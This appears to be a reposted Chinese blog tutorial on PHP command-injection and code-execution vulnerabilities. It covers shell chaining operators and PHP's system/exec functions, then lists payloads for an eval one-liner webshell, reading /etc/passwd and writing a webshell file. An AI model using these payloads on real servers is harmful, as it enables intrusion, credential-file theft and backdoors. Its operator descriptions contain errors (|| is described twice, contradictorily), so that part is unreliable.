赞
踩
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,
当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下:
恶意命令的格式
command1&command2 两个命令同时执行,前面执行不成功后面也执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行(Linux)
command1||command2 将一个命令的标准输出作为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
命令执行的常用函数: 1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出, 函数原型如下:string system(string command, int&return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。 2. Exec:exec函数可以用来执行一个外部的应用程序 string exec (string command, array&output, int &return_var) 其中,command是要执行的命令,output是获得执行命令输出的每一行字符串, return_var存放执行命令后的状态值。 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出, 当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时, 需要使用passthru函数来替代system与exec函数。 Passthru函数原型如下:void passthru (string command, int&return_var) 其中,command是要执行的命令,return_var存放执行命令后的状态值。 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下: string shell_exec (string command) 其中,command是要执行的命令。
代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码。例如我们最常见的一句话木马和文件上传等等。
- 代码执行漏洞的利用,出现这些东西表面她可能是代码执行漏洞
-
- 1、一句话木马
-
- ${@eval($_POST[1])}
-
- 2、获取当前工作路径
-
- ${exit(print(getcwd()))}
-
- 使用菜刀
-
- 3、读文件
-
- ${exit(var_dump(file_get_contents($_POST[f])))}
-
- f=/etc/passwd
-
- 使用post提交数值 f=/etc/passwd
-
- 4、写webshell
-
- ${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
-
- f=1.php&d=1111111
-
- 同样使用post
发现一篇好文:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。